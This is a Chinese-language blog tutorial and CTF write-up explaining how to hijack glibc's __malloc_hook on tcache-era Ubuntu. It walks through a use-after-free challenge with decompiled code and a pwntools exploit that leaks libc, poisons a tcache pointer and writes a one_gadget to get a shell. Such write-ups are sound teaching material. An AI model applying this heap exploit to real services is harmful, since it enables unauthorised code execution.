首页 > 其他分享 >pwn知识——劫持__malloc_hook(在加入tcache以后)

pwn知识——劫持__malloc_hook(在加入tcache以后)

时间:2024-04-23 21:55:06浏览次数:22  
标签:__ malloc tcache 堆块 gadget content hook add

导论

动调是最好的导师!

malloc_hook函数解析

malloc_hook是malloc的钩子函数,在执行malloc时,会先检测__malloc_hook的值,如果malloc_hook的值存在,则执行该地址(值里边表现为十六进制,可以成为地址),也就是说,如果我们成功劫持malloc_hook以后并修改它的值为one_gadget,我们就能getshell
并且在加入tcache之后,不会对大小进行检测,使我们更好利用它

利用范围

版本:Ubuntu18(加入了tcache,无需伪造size)--Ubuntu20.04
因为22.04删去了几乎所有的钩子函数,使得劫持hook成为了不可能,所以它的试用范围仅限于20.04之前,在未来应该会销声匿迹

它在学堆之后估计就是我们的老朋友的,我们常常能在堆题里看见并利用它,与free_hook和relloc_hook简直是三兄弟

利用思路

修改chunk->fd指向malloc_hook,然后把malloc_hook申请出来成为fake_chunk,再修改fake_chunk的值为one_gadget。修改完毕后记得校准one_gadget,有可能无法生效,毕竟可能不满足one_gadget的生效条件
光说fake_chunk可能会很懵,下面来看看实例罢

例题([HNCTF 2022 WEEK4]ez_uaf)

checksec

image
堆题是这样的,基本保护全开,但是不打紧

源审

image
经典菜单题

add

int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  unsigned int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && heaplist[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("Full!");
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum(); //size
    if ( v3 > 0x500 )
    {
      return puts("Invalid!");
    }
    else
    {
      heaplist[i] = malloc(0x20uLL); //堆列表,存放结构体
      if ( !heaplist[i] )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = heaplist[i];
      *(_QWORD *)(v1 + 16) = malloc((int)v3); //给content开辟v3大小,指向content,也就是说,这就是个conteng指针
      if ( !*(_QWORD *)(heaplist[i] + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 24LL) = v3; //fd指针所在位置,位于struct+0x18的位置
      puts("Name: ");
      if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10uLL) ) //struct的data域存0x10大小的name
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 28LL) = 1; //不重要,就是个标识的占位符
      return puts("Done!");
    }
  }
}

可以看到会申请两个堆块,一个是struct结构体的大小,另一个是content的堆块,struct里有指向content的指针

delete

image
将add的两个堆块给free,但没有将指针置空,很明显的UAF漏洞

show

image
很正常的打印函数

edit

image
编辑content

思路

申请个0x400的堆块并free掉,使其进入unsorted bin,因为其中只有一个元素,指向自己,会泄露出main_arena(栈地址),在main_arena-0x10处是malloc_hook,接收main_arena后就可以泄露出malloc_hook和libc_base,就可以劫持malloc_hook了,接下来使malloc_hook成为fake_chunk后往里填one_gadget即可

动调过程

泄露libc和malloc_hook

def add(size,name,content):
    p.recvuntil(b'Choice:')
    p.sendline(b'1')
    p.recvuntil(b'Size:')
    p.sendline(str(size))
    p.recvuntil(b'Name:')
    p.send(name)
    p.recvuntil(b'Content:')
    p.send(content)

def delete(idx):
    p.recvuntil(b'Choice:')
    p.sendline(b'2')
    p.recvuntil(b'idx:')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil(b'Choice:')
    p.sendline(b'3')
    p.recvuntil(b'idx:')
    p.sendline(str(idx))

add(0x410,'Dusk','Falling')#0
add(0x20,'Dawn','Rising')#1
add(0x10 ,'Star','Shining')#2
gdb.attach(p)
delete(0) #free大堆块进入unsorted_bin(大于0x410的堆块即进入unsorted_bin)
show(0) #泄露main_arena + 96,进而获取malloc_hook和libc_base

main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
one_gadget = libc_base + 0x10a2fc
log.success('one_gadget==>'+hex(one_gadget))

free前
image
free后
image
可以看到unsorted_bin里已经指向main_arena了,将0堆块show了即可泄露栈地址

伪造fake_chunk和填one_gadget

delete(1)
edit(1,p64(malloc_hook))
add(0x10,'change','struct')  #3
add(0x20,'change','payload') #4
edit(4,p64(one_gadget))

p.sendlineafter(b'Choice:',b'1')
p.sendlineafter(b'Size:',b'10')

经过两次free后,我们的堆是这样的
image
此时我们堆块1的content地址是0x55abadf3e720通过edit我们可以将它的fd指针修改为malloc_hook
edit前
image
edit后的链表和堆块1content的内容
image
我们可以看到,堆块1的content的fd指针已经被修改成了malloc_hook,成了实际size为0x20的fake_chunk,那么我们把它申请出来就好。
我们先申请堆块3,链表就变成了这样
image
至于为什么只申请出了一个堆块,是因为我们申请的content的大小只有0x10(显示0x21)字节
现在就是申请堆块4把malloc_hook变成fake_chunk。因为两个malloc都是申请size为0x20,刚好使content为fake_chunk,使我们的edit对它有写的权限
先看malloc_hook此时的值,里边的玩意估摸着是我add堆块4的时候弄进去的
image
OK,我们现在来edit它
image
image
和我们的one_gadget一样,我们只需再一次执行malloc就可以getshell了,注意多次调整one_gadget,满足其条件。因为我的本地环境和远端不一样所以没通,其实路子就是这样了

感言

我上网搜的时候感觉看的都是fast_bin的版本,没有怎么搜到tcache的,然后就自己摸索去了,并写出了此篇blog记录tcache的攻击方法。只能说,动调真的是学pwn最重要的东西,是最好的老师!

标签:__,malloc,tcache,堆块,gadget,content,hook,add
From: https://www.cnblogs.com/falling-dusk/p/18153720

相关文章

  • lv扩容操作
    对lv进行扩容操作操作应考虑大因素: 1lv扩容对数据会不会产生影响-如果正常操作对数据没有影响2考虑物理磁盘是MBR分区还是GPT分区,MBR分区最大分区只能2t,只能分4个分区;GPT可进行大容量分区,支持128个分区 操作方法一1通过分区,创建新的pv,加入的vg中再扩容l......
  • 忙等待互斥——Peterson解法
    ANSIC编写的Peterson解法抽象化表示如下:其中,turn是共享资源,两进程会进行抢夺。intertest[2]看似是共享资源,但intertst[0]只被进程1修改,intertst[1]只被进程2修改,可看作他们的私有资源。该算法核心原理是:“每个进程在进入临界区之前,只会修改turn1次”。假设1:线程1进入临界区......
  • CF1535F String Distance
    \(CF1535F\\String\Distance\)题意给\(n\)个长度均为\(len\)的字符串\(T_1,T_2,\dotsT_n\),定义\(f(a,b)\)为将\(a,b\)排序后相等的最小排序次数,若无解则为\(1337\)(这好像是个黑客用语)。求\[\sum_{i=1}^{n}\sum_{j=i+1}^{n}f(T_i,T_j)\]其中\[n\timeslen......
  • 连接mysql -- host is not allowed to connect to this mysql server的解决
    今天通过navicat连接服务器的MySQL,报错:hostisnotallowedtoconnecttothismysqlserver去网上搜了一摞,有些方法不太管用,踩了点坑,在此记录下。版本:MYSQL8.0.36,CentOS7mysql-uroot-pusemysql;selectuser,hostfromuser;这时候可以看到:只允许localhost......
  • 数据结构的练习day2(未完待续)
    数据结构线性结构之单向循环链表的基本操作/***********************************************************************************************************设计单向循环链表的接口****Copyright(c)2023-202417820413718@163.comAllrightReserved......
  • 单向循环链表的初体验
    单向循环链表经过小白今天一天的学习,感觉就是在单向链表的尾结点加了一个首结点的地址,不再指向NULL,个人理解就像一群孩子围成了一个圆,头尾相连,同时多少个孩子就是多少个结点,如击鼓传花一般一个个将手上的手绢传递给下一个人,一遍下来就像是单向循环的遍历,想要到谁的手上,就像是指定......
  • 单向循环链表
    //头插boolCircLList_HeadInsert(CircLList_t*Head,DataType_tdata){ //创建一个新节点 CircLList_t*New=CircLList_NewNode(data); //对单向循环链表的头结点的地址进行备份 CircLList_t*Phead=Head; //判断当前链表是否为空,就直接插入 if(Head->next==He......
  • 力扣-495. 提莫攻击
    1.题目题目地址(495.提莫攻击-力扣(LeetCode))https://leetcode.cn/problems/teemo-attacking/题目描述在《英雄联盟》的世界中,有一个叫“提莫”的英雄。他的攻击可以让敌方英雄艾希(编者注:寒冰射手)进入中毒状态。当提莫攻击艾希,艾希的中毒状态正好持续 duration秒。正......
  • Android开发笔记[18]-使用本地模块
    摘要将摄像头预览页面封装到Android模块中并在app中使用这个本地模块.关键信息AndroidStudio:Iguana|2023.2.1Gradle:distributionUrl=https://services.gradle.org/distributions/gradle-8.4-bin.zipjvmTarget='1.8'minSdk26targetSdk34compileSdk34开发语言:K......
  • 树上最小点覆盖的一类问题
    前言关于下文中\(lim\)较小的最小点覆盖问题,我们通常会对每个节点设出若干状态转移,而下文所说的问题是此问题的通解,但复杂度为平方级别题意给定一棵无根有权树,每个点建消防站都有一定代价\(c\),每个点都有一个限制\(lim\),表示离它最近的消防站的最大距离。求让所有点安全的......